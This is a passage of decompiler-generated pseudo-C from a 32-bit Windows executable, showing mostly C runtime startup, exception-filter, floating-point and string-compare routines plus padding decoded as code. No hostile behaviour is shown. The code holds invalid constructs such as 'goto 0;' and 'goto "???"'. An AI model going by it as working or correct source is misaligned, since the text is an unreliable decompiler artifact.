signed char[3] pad12;
void** fc;
signed char[3] pad16;
void** f10;
 signed char[3] pad20;
void** f14;
signed char[3] pad24;
void** f18;
signed char[3] pad28;
void** f1c;
signed char[3] pad32;
void** f20;
signed char[3] pad36;
void** f24;
signed char[3] pad40;
void** f28;
signed char[3] pad44;
void** f2c;
signed char[3] pad48;
void** f30;
signed char[3] pad52;
void** f34;
signed char[3] pad56;
void** f38;
signed char[3] pad60;
void** f3c;
signed char[3] pad64;
void** f40;
signed char[3] pad68;
void** f44;
signed char[3] pad72;
void** f48;
};

struct s174 {
int32_t f0;
void** f4;
signed char[3] pad8;
void** f8;
signed char[3] pad12;
void** fc;
signed char[3] pad16;
void** f10;
signed char[3] pad20;
void** f14;
signed char[3] pad24;
void** f18;
signed char[3] pad28;
 void** f1c;
};

struct s175 {
int32_t f0;
void** f4;
};

struct s176 {
void** f0;
signed char[3] pad4;
void** f4;
};

struct s177 {
int32_t f0;
void** f4;
};

struct s178 {
int32_t f0;
void** f4;
signed char[3] pad8;
signed char f8;
};

struct s179 {
signed char[4] pad4;
int32_t f4;
};

void fun_40316a(void** ecx) {

struct s164* esp2;
int32_t ebp3;
signed char al4;
void*** esp5;
int32_t* esp6;
int32_t ebp7;
struct s165* esp8;
int32_t* esp9;
int32_t* esp10;
int32_t* esp11;
struct s166* esp12;
int32_t* esp13;
struct s167* esp14;
signed char al15;
void*** esp16;
void* esp17;
signed char bl18;
int32_t ebp19;
int32_t ebp20;
int32_t* esp21;
signed char al22;
int32_t ebp23;
void** eax24;
int32_t* esp25;
struct s168* esp26;
void*** esp27;
int32_t ebp28;
int32_t* esp29;
struct s168* esp30;
struct s169* esp31;
void** eax32;
struct s170* esp33;
void** ecx34;
int32_t* esp35;
struct s165* esp36;
struct s171* esp37;
void*** esp38;
int32_t* esp39;
int32_t ebp40;
struct s168* esp41;
void*** esp42;
int32_t* esp43;
void** eax44;
void* esp45;
void*** esp46;
struct s172* esp47;
signed char al48;
void*** esp49;
void** esi50;
void*** esp51;
struct s172* esp52;
void*** esp53;
int32_t* esp54;
int32_t* esp55;
void*** esp56;
void** eax57;
 void* esp58;
struct s173* esp59;
struct s174* esp60;
signed char al61;
void*** esp62;
struct s173* esp63;
struct s174* esp64;
void*** esp65;
struct s173* esp66;
uint16_t ax67;
int32_t* esp68;
void** eax69;
uint32_t* esp70;
void*** esp71;
void*** esp72;
int32_t* esp73;
int32_t* esp74;
void** eax75;
void** esi76;
struct s175* esp77;
signed char al78;
struct s176* esp79;
struct s177* esp80;
int32_t ebp81;
int32_t ebp82;
struct s176* esp83;
struct s176* esp84;
struct s177* esp85;
struct s178* esp86;
int32_t ebp87;
int32_t ebp88;
struct s179* ebp89;
int32_t ebp90;

esp2 = reinterpret_cast<struct
s164*>(reinterpret_cast<int32_t>(*reinterpret_cast<void**>(ebp3 - 24)) - 4);
esp2->f0 = 0x403172;
al4 = fun_403798(ecx);
esp5 = &esp2->f4;
if (!al4) {
while (1) {
esp6 = reinterpret_cast<int32_t*>(esp5 - 4);
*esp6 = *reinterpret_cast<int32_t*>(ebp7 - 32);
esp8 = reinterpret_cast<struct s165*>(esp6 - 1);
 esp8->f0 = 0x4031b0;
fun_40559b(ecx, esp8->f4);
esp9 = reinterpret_cast<int32_t*>(&esp8->f4 - 4);
*esp9 = 0x4031b6;
fun_40357b(ecx);
esp10 = esp9 + 1 - 1;
*esp10 = 20;
esp11 = esp10 - 1;
*esp11 = 0x414860;
esp12 = reinterpret_cast<struct s166*>(esp11 - 1);
esp12->f0 = 0x403041;
fun_4038a0(ecx, esp12->f4, esp12->f8, esp12->fc);
esp13 = reinterpret_cast<int32_t*>(&esp12->f4 - 4);
*esp13 = 1;
esp14 = reinterpret_cast<struct s167*>(esp13 - 1);
esp14->f0 = 0x403048;
al15 = fun_403353(ecx, esp14->f4);
esp16 = &esp14->f4;
ecx = *esp16;
esp17 = reinterpret_cast<void*>(esp16 + 4);
if (!al15 || (bl18 = 0, *reinterpret_cast<signed char*>(ebp19 - 25) = 0,
*reinterpret_cast<uint32_t*>(ebp20 - 4) = 0, esp21 =
reinterpret_cast<int32_t*>(reinterpret_cast<int32_t>(esp17) - 4), *esp21 = 0x40305f, al22 =
fun_403321(ecx), esp17 = reinterpret_cast<void*>(esp21 + 1), *reinterpret_cast<signed
char*>(ebp23 - 36) = al22, eax24 = g416a9c, ecx = reinterpret_cast<void**>(1), eax24 == 1)) {
esp25 = reinterpret_cast<int32_t*>(reinterpret_cast<int32_t>(esp17) - 4);
*esp25 = 7;
esp26 = reinterpret_cast<struct s168*>(esp25 - 1);
esp26->f0 = 0x4031a2;
fun_403647(ecx, esp26->f4);
esp27 = &esp26->f4;
} else {
if (eax24) {
bl18 = 1;
*reinterpret_cast<signed char*>(ebp28 - 25) = 1;
} else {
g416a9c = reinterpret_cast<void**>(1);
esp29 = reinterpret_cast<int32_t*>(reinterpret_cast<int32_t>(esp17) - 4);
*esp29 = 0x40e200;
esp30 = reinterpret_cast<struct s168*>(esp29 - 1);
esp30->f0 = 0x40e1e8;
esp31 = reinterpret_cast<struct s169*>(reinterpret_cast<int32_t>(esp30) - 4);
esp31->f0 = 0x40308b;
eax32 = fun_40530e(1, esp31->f4, esp31->f8, esp31->fc, esp31->f10);
 esp33 = reinterpret_cast<struct s170*>(&esp31->f4 + 4);
ecx34 = esp33->f0;
if (eax32)
goto addr_403091_8;
esp35 = reinterpret_cast<int32_t*>(&esp33->f4 - 4);
*esp35 = 0x40e1e4;
esp36 = reinterpret_cast<struct s165*>(esp35 - 1);
esp36->f0 = 0x40e1c4;
esp37 = reinterpret_cast<struct s171*>(reinterpret_cast<int32_t>(esp36) - 4);
esp37->f0 = 0x4030b1;
fun_4052b2(ecx34, esp37->f4, esp37->f8, esp37->fc, esp37->f10, esp37->f14);
esp38 = &esp37->f4 + 4;
ecx = *esp38;
esp17 = reinterpret_cast<void*>(esp38 + 4);
g416a9c = reinterpret_cast<void**>(2);
}
esp39 = reinterpret_cast<int32_t*>(reinterpret_cast<int32_t>(esp17) - 4);
*esp39 = *reinterpret_cast<int32_t*>(ebp40 - 36);
esp41 = reinterpret_cast<struct s168*>(esp39 - 1);
esp41->f0 = 0x4030cc;
fun_4034a7(ecx, esp41->f4);
esp42 = &esp41->f4;
ecx = *esp42;
esp43 = reinterpret_cast<int32_t*>(esp42 + 4 - 4);
*esp43 = 0x4030d2;
eax44 = fun_40363b(ecx);
esp45 = reinterpret_cast<void*>(esp43 + 1);
if (*reinterpret_cast<void***>(eax44) && (esp46 =
reinterpret_cast<void***>(reinterpret_cast<int32_t>(esp45) - 4), *esp46 = eax44, esp47 =
reinterpret_cast<struct s172*>(esp46 - 4), esp47->f0 = 0x4030e0, al48 = fun_403413(ecx,
esp47->f4), esp49 = &esp47->f4, ecx = *esp49, esp45 = reinterpret_cast<void*>(esp49 + 4),
!!al48)) {
esi50 = *reinterpret_cast<void***>(eax44);
esp51 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(esp45) - 4);
*esp51 = reinterpret_cast<void**>(0);
esp52 = reinterpret_cast<struct s172*>(esp51 - 4);
esp52->f0 = 2;
esp53 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(esp52) - 4);
*esp53 = reinterpret_cast<void**>(0);
ecx = esi50;
esp54 = reinterpret_cast<int32_t*>(esp53 - 4);
*esp54 = 0x4030f3;
image_base_(ecx);
esp55 = esp54 + 1 - 1;
 *esp55 = 0x4030f5;
esi50(ecx);
esp45 = reinterpret_cast<void*>(esp55 + 1);
}
esp56 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(esp45) - 4);
*esp56 = reinterpret_cast<void**>(0x4030fa);
eax57 = fun_403641(ecx);
esp58 = reinterpret_cast<void*>(esp56 + 4);
if (*reinterpret_cast<void***>(eax57) && (esp59 = reinterpret_cast<struct
s173*>(reinterpret_cast<int32_t>(esp58) - 4), esp59->f0 = eax57, esp60 =
reinterpret_cast<struct s174*>(reinterpret_cast<int32_t>(esp59) - 4), esp60->f0 = 0x403106,
al61 = fun_403413(ecx, esp60->f4), esp62 = &esp60->f4, ecx = *esp62, esp58 =
reinterpret_cast<void*>(esp62 + 4), !!al61)) {
esp63 = reinterpret_cast<struct s173*>(reinterpret_cast<int32_t>(esp58) - 4);
esp63->f0 = *reinterpret_cast<void***>(eax57);
esp64 = reinterpret_cast<struct s174*>(reinterpret_cast<int32_t>(esp63) - 4);
esp64->f0 = 0x403112;
fun_4055b1(ecx, esp64->f4, esp64->f8, esp64->fc, esp64->f10, esp64->f14,
esp64->f18, esp64->f1c);
esp65 = &esp64->f4;
ecx = *esp65;
esp58 = reinterpret_cast<void*>(esp65 + 4);
}
esp66 = reinterpret_cast<struct s173*>(reinterpret_cast<int32_t>(esp58) - 4);
esp66->f0 = reinterpret_cast<void**>(0x403118);
ax67 = fun_403762(ecx, esp66->f4, esp66->f8, esp66->fc, esp66->f10, esp66->f14,
esp66->f18, esp66->f1c, esp66->f20, esp66->f24, esp66->f28, esp66->f2c, esp66->f30,
esp66->f34, esp66->f38, esp66->f3c, esp66->f40, esp66->f44, esp66->f48);
esp68 = reinterpret_cast<int32_t*>(&esp66->f4 - 4);
*esp68 = reinterpret_cast<int32_t>("VPWh");
eax69 = fun_40526c(ecx);
esp70 = reinterpret_cast<uint32_t*>(esp68 + 1 - 1);
*esp70 = ax67;
esp71 = reinterpret_cast<void***>(esp70 - 1);
*esp71 = eax69;
esp72 = esp71 - 4;
*esp72 = reinterpret_cast<void**>(0);
esp73 = reinterpret_cast<int32_t*>(esp72 - 4);
*esp73 = 0x400000;
esp74 = esp73 - 1;
*esp74 = 0x40312d;
eax75 = fun_401060(ecx);
esi76 = eax75;
esp77 = reinterpret_cast<struct s175*>(esp74 + 4 + 1 - 1);
 esp77->f0 = 0x403134;
al78 = fun_403798(ecx);
esp27 = &esp77->f4;
if (al78)
break;
}
esp79 = reinterpret_cast<struct s176*>(esp27 - 4);
esp79->f0 = esi76;
esp80 = reinterpret_cast<struct s177*>(reinterpret_cast<int32_t>(esp79) - 4);
esp80->f0 = 0x4031a8;
fun_4055e9(ecx, esp80->f4);
esp5 = &esp80->f4;
}
} else {
if (!*reinterpret_cast<signed char*>(ebp81 - 25)) {
*reinterpret_cast<int32_t*>(esp5 - 4) = 0x403181;
fun_40557d(ecx);
}
*reinterpret_cast<int32_t*>(ebp82 - 4) = -2;
goto addr_40318b_19;
}
if (!bl18) {
esp83 = reinterpret_cast<struct s176*>(esp27 - 4);
esp83->f0 = reinterpret_cast<void**>(0x403141);
fun_40558c(ecx);
esp27 = &esp83->f4;
}
esp84 = reinterpret_cast<struct s176*>(esp27 - 4);
esp84->f0 = reinterpret_cast<void**>(0);
esp85 = reinterpret_cast<struct s177*>(reinterpret_cast<int32_t>(esp84) - 4);
esp85->f0 = 1;
esp86 = reinterpret_cast<struct s178*>(reinterpret_cast<int32_t>(esp85) - 4);
esp86->f0 = 0x403149;
fun_4034c4(ecx, esp86->f4, esp86->f8);
*reinterpret_cast<int32_t*>(ebp87 - 4) = -2;
addr_40318b_19:
g0 = *reinterpret_cast<void***>(ebp88 - 16);
goto ebp89->f4;
addr_403091_8:
*reinterpret_cast<int32_t*>(ebp90 - 4) = -2;
goto addr_40318b_19;
}

signed char fun_405b1d() {

 fun_404c7c(0x417244, 0x416580);
return 1;
}

int32_t fun_4037e7(void** ecx, void** a2, void** a3, void** a4, void** a5) {
void** esi6;
void** edi7;
void** esi8;
void** ebp9;
void*** eax10;
void** esi11;
void*** eax12;

esi6 = *reinterpret_cast<void***>(a2);
if (!reinterpret_cast<int1_t>(*reinterpret_cast<void***>(esi6) == 0xe06d7363) ||
(!reinterpret_cast<int1_t>(*reinterpret_cast<void***>(esi6 + 16) == 3) ||
*reinterpret_cast<void***>(esi6 + 20) != 0x19930520 && (*reinterpret_cast<void***>(esi6 + 20)
!= 0x19930521 && (*reinterpret_cast<void***>(esi6 + 20) != 0x19930522 &&
*reinterpret_cast<void***>(esi6 + 20) != 0x1994000)))) {
return 0;
} else {
eax10 = fun_403be7(ecx, edi7, esi8, ebp9, __return_address(), a2);
*eax10 = esi6;
esi11 = *reinterpret_cast<void***>(a2 + 4);
eax12 = fun_403bf0(ecx, edi7, esi8, ebp9, __return_address(), a2);
*eax12 = esi11;
fun_405c91(ecx, edi7, esi8, ebp9, __return_address(), a2, a3, a4, a5);
}
}

void** fun_406849(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12) {
void** v13;
void** ebp14;
void** eax15;

v13 = ebp14;
if (a2) {
fun_40686a(ecx, a2, v13, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9);
eax15 = fun_406c46(ecx, a2, a2, v13, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9,
a10, a11, a12);
}
return eax15;
}
void fun_408979() {
}

void fun_40772b() {
}

signed char fun_408801() {

g417250 = reinterpret_cast<void**>(0);
return 1;
}

void fun_40b6d5(int32_t ecx, int32_t a2) {

int32_t v3;
uint32_t v4;
int16_t ax5;
int16_t fpu_status_word6;
uint16_t fpu_status_word7;
int32_t edx8;

v3 = reinterpret_cast<int32_t>(__return_address());
__asm__("fst qword [esp]");
if ((v4 & 0x7ff00000) == 0x7ff00000) {
__asm__("fld qword [0x412384]");
__asm__("fxch st0, st1");
__asm__("fscale ");
__asm__("fstp st1");
__asm__("fld st0");
__asm__("fabs ");
__asm__("fcomp qword [0x412374]");
__asm__("wait ");
ax5 = fpu_status_word6;
if (!(*reinterpret_cast<uint1_t*>(reinterpret_cast<int32_t>(&ax5) + 1) |
*reinterpret_cast<uint1_t*>(reinterpret_cast<int32_t>(&ax5) + 1))) {
__asm__("fmul qword [0x412394]");
}
} else {
if (*reinterpret_cast<void**>(&v3) == 0x27f) {
addr_40b738_6:
goto a2;
} else {
if (reinterpret_cast<uint16_t>(*reinterpret_cast<void**>(&v3)) & 32 || !(fpu_status_word7
& 32)) {
__asm__("fldcw word [esp]");
 goto addr_40b738_6;
}
}
}
if (edx8 == 29) {
fun_40b790(ecx, *reinterpret_cast<void**>(&v3));
goto a2;
} else {
fun_40b7a7(ecx, *reinterpret_cast<void**>(&v3));
goto a2;
}
}

int32_t fun_40aeb0(unsigned char* a1, unsigned char* a2, int32_t a3) {

int32_t ecx4;
unsigned char* esi5;
unsigned char* edi6;
int32_t ecx7;
unsigned char ah8;
unsigned char al9;
int1_t cf10;

ecx4 = a3;
if (!ecx4)
goto addr_40af0a_2;
esi5 = a1;
edi6 = a2;
ecx7 = ecx4;
do {
ah8 = *esi5;
al9 = *edi6;
if (!ah8)
break;
if (!al9)
break;
++esi5;
++edi6;
if (ah8 >= 65 && ah8 <= 90) {
ah8 = reinterpret_cast<unsigned char>(ah8 + 32);
}
if (al9 >= 65 && al9 <= 90) {
al9 = reinterpret_cast<unsigned char>(al9 + 32);
}
cf10 = ah8 < al9;
 if (ah8 != al9)
goto addr_40af01_11;
--ecx7;
} while (ecx7);
ecx4 = 0;
cf10 = ah8 < al9;
if (ah8 == al9) {
addr_40af0a_2:
return ecx4;
} else {
addr_40af01_11:
ecx4 = -1;
if (!cf10) {
ecx4 = --1;
goto addr_40af0a_2;
}
}
}

void fun_40b504() {
__asm__("fstp st0");
}

void fun_40b268() {
int32_t ebp1;

__asm__("fstp st0");
__asm__("fstp st0");
__asm__("fld tword [0x4122c0]");
*reinterpret_cast<signed char*>(ebp1 - 0x90) = 2;
return;
}

void fun_40b50b() {
signed char ch1;

__asm__("fstp st0");
__asm__("fstp st0");
__asm__("fldz ");
if (ch1) {
__asm__("fchs ");
}
return;
}
void fun_40b32f() {
int32_t ebp1;

__asm__("fstp st0");
__asm__("fstp st0");
__asm__("fld tword [0x4122c0]");
*reinterpret_cast<signed char*>(ebp1 - 0x90) = 3;
return;
}

void fun_40cde5(int32_t ecx) {

}

void fun_40d378() {
signed char* eax1;
signed char* eax2;
signed char al3;
signed char* eax4;
signed char* eax5;
signed char al6;
signed char* eax7;
signed char* eax8;
signed char al9;
signed char* eax10;
signed char* eax11;
signed char al12;
signed char* eax13;
signed char* eax14;
signed char al15;
signed char* eax16;
signed char* eax17;
signed char al18;
signed char* eax19;
signed char* eax20;
signed char al21;
signed char* eax22;
signed char* eax23;
signed char al24;
signed char* eax25;
signed char* eax26;
signed char al27;
signed char* eax28;
signed char* eax29;
signed char al30;
signed char* eax31;
signed char* eax32;
signed char al33;
signed char* eax34;
signed char* eax35;
signed char al36;
signed char* eax37;
signed char* eax38;
signed char al39;
signed char* eax40;
signed char* eax41;
signed char al42;
signed char* eax43;
signed char* eax44;
signed char al45;
signed char* eax46;
signed char* eax47;
signed char al48;
signed char* eax49;
signed char* eax50;
signed char al51;
signed char* eax52;
signed char* eax53;
signed char al54;
signed char* eax55;
signed char* eax56;
signed char al57;
signed char* eax58;
signed char* eax59;
signed char al60;
signed char* eax61;
signed char* eax62;
signed char al63;
signed char* eax64;
signed char* eax65;
signed char al66;
signed char* eax67;
signed char* eax68;
signed char al69;
signed char* eax70;
signed char* eax71;
signed char al72;
signed char* eax73;
signed char* eax74;
signed char al75;
signed char* eax76;
signed char* eax77;
signed char al78;
signed char* eax79;
signed char* eax80;
signed char al81;
signed char* eax82;
signed char* eax83;
signed char al84;
signed char* eax85;
signed char* eax86;
signed char al87;
signed char* eax88;
signed char* eax89;
signed char al90;
signed char* eax91;
signed char* eax92;
signed char al93;
signed char* eax94;
signed char* eax95;
signed char al96;
signed char* eax97;
signed char* eax98;
signed char al99;
signed char* eax100;
signed char* eax101;
signed char al102;
signed char* eax103;
signed char* eax104;
signed char al105;
signed char* eax106;
signed char* eax107;
signed char al108;
signed char* eax109;
signed char* eax110;
signed char al111;
signed char* eax112;
signed char* eax113;
signed char al114;
signed char* eax115;
signed char* eax116;
signed char al117;
signed char* eax118;
signed char* eax119;
signed char al120;
signed char* eax121;
signed char* eax122;
signed char al123;
signed char* eax124;
signed char* eax125;
signed char al126;
signed char* eax127;
signed char* eax128;
signed char al129;
signed char* eax130;
signed char* eax131;
signed char al132;
signed char* eax133;
signed char* eax134;
signed char al135;
signed char* eax136;
signed char* eax137;
signed char al138;
signed char* eax139;
signed char* eax140;
signed char al141;
signed char* eax142;
signed char* eax143;
signed char al144;
signed char* eax145;
signed char* eax146;
signed char al147;
signed char* eax148;
signed char* eax149;
signed char al150;
signed char* eax151;
signed char* eax152;
signed char al153;
signed char* eax154;
signed char* eax155;
signed char al156;
signed char* eax157;
signed char* eax158;
signed char al159;
signed char* eax160;
signed char* eax161;
signed char al162;
signed char* eax163;
signed char* eax164;
signed char al165;
signed char* eax166;
signed char* eax167;
signed char al168;
signed char* eax169;
signed char* eax170;
signed char al171;
signed char* eax172;
signed char* eax173;
signed char al174;
signed char* eax175;
signed char* eax176;
signed char al177;
signed char* eax178;
signed char* eax179;
signed char al180;
signed char* eax181;
signed char* eax182;
signed char al183;
signed char* eax184;
signed char* eax185;
signed char al186;
signed char* eax187;
signed char* eax188;
signed char al189;
signed char* eax190;
signed char* eax191;
signed char al192;
signed char* eax193;
signed char* eax194;
signed char al195;
signed char* eax196;
signed char* eax197;
signed char al198;
signed char* eax199;
signed char* eax200;
signed char al201;
signed char* eax202;
signed char* eax203;
signed char al204;
*eax1 = reinterpret_cast<signed char>(*eax2 + al3);
*eax4 = reinterpret_cast<signed char>(*eax5 + al6);
*eax7 = reinterpret_cast<signed char>(*eax8 + al9);
*eax10 = reinterpret_cast<signed char>(*eax11 + al12);
*eax13 = reinterpret_cast<signed char>(*eax14 + al15);
*eax16 = reinterpret_cast<signed char>(*eax17 + al18);
*eax19 = reinterpret_cast<signed char>(*eax20 + al21);
*eax22 = reinterpret_cast<signed char>(*eax23 + al24);
*eax25 = reinterpret_cast<signed char>(*eax26 + al27);
*eax28 = reinterpret_cast<signed char>(*eax29 + al30);
*eax31 = reinterpret_cast<signed char>(*eax32 + al33);
*eax34 = reinterpret_cast<signed char>(*eax35 + al36);
*eax37 = reinterpret_cast<signed char>(*eax38 + al39);
*eax40 = reinterpret_cast<signed char>(*eax41 + al42);
*eax43 = reinterpret_cast<signed char>(*eax44 + al45);
*eax46 = reinterpret_cast<signed char>(*eax47 + al48);
*eax49 = reinterpret_cast<signed char>(*eax50 + al51);
*eax52 = reinterpret_cast<signed char>(*eax53 + al54);
*eax55 = reinterpret_cast<signed char>(*eax56 + al57);
*eax58 = reinterpret_cast<signed char>(*eax59 + al60);
*eax61 = reinterpret_cast<signed char>(*eax62 + al63);
*eax64 = reinterpret_cast<signed char>(*eax65 + al66);
*eax67 = reinterpret_cast<signed char>(*eax68 + al69);
*eax70 = reinterpret_cast<signed char>(*eax71 + al72);
*eax73 = reinterpret_cast<signed char>(*eax74 + al75);
*eax76 = reinterpret_cast<signed char>(*eax77 + al78);
*eax79 = reinterpret_cast<signed char>(*eax80 + al81);
*eax82 = reinterpret_cast<signed char>(*eax83 + al84);
*eax85 = reinterpret_cast<signed char>(*eax86 + al87);
*eax88 = reinterpret_cast<signed char>(*eax89 + al90);
*eax91 = reinterpret_cast<signed char>(*eax92 + al93);
*eax94 = reinterpret_cast<signed char>(*eax95 + al96);
*eax97 = reinterpret_cast<signed char>(*eax98 + al99);
*eax100 = reinterpret_cast<signed char>(*eax101 + al102);
*eax103 = reinterpret_cast<signed char>(*eax104 + al105);
*eax106 = reinterpret_cast<signed char>(*eax107 + al108);
*eax109 = reinterpret_cast<signed char>(*eax110 + al111);
*eax112 = reinterpret_cast<signed char>(*eax113 + al114);
*eax115 = reinterpret_cast<signed char>(*eax116 + al117);
*eax118 = reinterpret_cast<signed char>(*eax119 + al120);
*eax121 = reinterpret_cast<signed char>(*eax122 + al123);
*eax124 = reinterpret_cast<signed char>(*eax125 + al126);
*eax127 = reinterpret_cast<signed char>(*eax128 + al129);
*eax130 = reinterpret_cast<signed char>(*eax131 + al132);
 *eax133 = reinterpret_cast<signed char>(*eax134 + al135);
*eax136 = reinterpret_cast<signed char>(*eax137 + al138);
*eax139 = reinterpret_cast<signed char>(*eax140 + al141);
*eax142 = reinterpret_cast<signed char>(*eax143 + al144);
*eax145 = reinterpret_cast<signed char>(*eax146 + al147);
*eax148 = reinterpret_cast<signed char>(*eax149 + al150);
*eax151 = reinterpret_cast<signed char>(*eax152 + al153);
*eax154 = reinterpret_cast<signed char>(*eax155 + al156);
*eax157 = reinterpret_cast<signed char>(*eax158 + al159);
*eax160 = reinterpret_cast<signed char>(*eax161 + al162);
*eax163 = reinterpret_cast<signed char>(*eax164 + al165);
*eax166 = reinterpret_cast<signed char>(*eax167 + al168);
*eax169 = reinterpret_cast<signed char>(*eax170 + al171);
*eax172 = reinterpret_cast<signed char>(*eax173 + al174);
*eax175 = reinterpret_cast<signed char>(*eax176 + al177);
*eax178 = reinterpret_cast<signed char>(*eax179 + al180);
*eax181 = reinterpret_cast<signed char>(*eax182 + al183);
*eax184 = reinterpret_cast<signed char>(*eax185 + al186);
*eax187 = reinterpret_cast<signed char>(*eax188 + al189);
*eax190 = reinterpret_cast<signed char>(*eax191 + al192);
*eax193 = reinterpret_cast<signed char>(*eax194 + al195);
*eax196 = reinterpret_cast<signed char>(*eax197 + al198);
*eax199 = reinterpret_cast<signed char>(*eax200 + al201);
*eax202 = reinterpret_cast<signed char>(*eax203 + al204);
}

void fun_401040() {
GetSystemMetrics();
goto 0;
}

uint32_t fun_405b2f(void** ecx) {

uint32_t eax2;

fun_405abc(ecx, 0x416dd0);
eax2 = fun_405abc(ecx, 0x416ddc);
*reinterpret_cast<signed char*>(&eax2) = 1;
return eax2;
}

void fun_4057c9() {
}

void fun_405778() {
}

void fun_40b6e9() {
uint32_t v1;
int16_t ax2;
int16_t fpu_status_word3;

__asm__("fst qword [esp]");

if (v1 & 0x7ff00000)
goto "???";
__asm__("fld qword [0x41238c]");
__asm__("fxch st0, st1");
__asm__("fscale ");
__asm__("fstp st1");
__asm__("fld st0");
__asm__("fabs ");
__asm__("fcomp qword [0x41237c]");
__asm__("wait ");
ax2 = fpu_status_word3;
if (!*reinterpret_cast<int1_t*>(reinterpret_cast<int32_t>(&ax2) + 1))
goto 0x40b722;
__asm__("fmul qword [0x41239c]");
goto 0x40b722;
}

void fun_40b27a() {
int32_t ebp1;
int16_t fpu_status_word2;
int32_t ebp3;

__asm__("fldln2 ");
__asm__("fxch st0, st1");
__asm__("ftst ");
__asm__("wait ");
*reinterpret_cast<int16_t*>(ebp1 - 0xa0) = fpu_status_word2;
__asm__("wait ");
if (*reinterpret_cast<unsigned char*>(ebp3 - 0x9f) & 65)
goto 0x40b263;
__asm__("fyl2x ");
return;
}

void fun_40b341(signed char cl) {

if (cl)
 goto 0x40b2f4;
__asm__("fstp st0");
__asm__("fld tword [0x4122c0]");
return;
}

void fun_401050() {
GetSystemMetrics();
goto 1;
}

void** fun_405b49(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7) {
void** eax8;

eax8 = fun_405230(__return_address(), a1, a2, a3, a4, a5, a6, a7);

*reinterpret_cast<signed char*>(&eax8) = 1;
return eax8;
}

void fun_4089d0() {
}

signed char fun_405b51() {

void** esi1;

__asm__("ror esi, cl");

esi1 = reinterpret_cast<void**>(g416004);
fun_405f9d(esi1);
fun_4088db(esi1, esi1);
fun_408a88(esi1, esi1, esi1);
fun_404cc6(esi1, esi1, esi1, esi1);
fun_40556e(esi1, esi1, esi1, esi1, esi1);
return 1;
}

signed char fun_405b8e(void** ecx) {

signed char al2;

al2 = fun_403dbd(ecx, 0);

return al2;
}

void** g417268;
void** g41726c;

void** g416ee8;

void** fun_405b97(uint32_t ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13) {
void** v14;
void** ecx15;
void** v16;
void** esi17;
void** eax18;
void** v19;
void** v20;
void** v21;
void** v22;
void** eax23;

v14 = reinterpret_cast<void**>(__return_address());
ecx15 = reinterpret_cast<void**>(0xffffffff);
v16 = esi17;
__asm__("lock xadd [eax], ecx");
if (!1 && (eax18 = image_base_, eax18 != 0x416358)) {
fun_406c46(0xffffffff, eax18, v16, v14, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13);
ecx15 = eax18;
image_base_ = reinterpret_cast<void**>(0x416358);
}
v19 = g417268;
fun_406c46(ecx15, v19, v16, v14, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13);
v20 = g41726c;
g417268 = reinterpret_cast<void**>(0);
fun_406c46(ecx15, v20, v19, v16, v14, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
v21 = g416ee8;
g41726c = reinterpret_cast<void**>(0);
fun_406c46(ecx15, v21, v20, v19, v16, v14, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11);
v22 = g416eec;
g416ee8 = reinterpret_cast<void**>(0);
eax23 = fun_406c46(ecx15, v22, v21, v20, v19, v16, v14, a2, a3, a4, a5, a6, a7, a8, a9, a10);
g416eec = reinterpret_cast<void**>(0);
*reinterpret_cast<signed char*>(&eax23) = 1;
return eax23;
}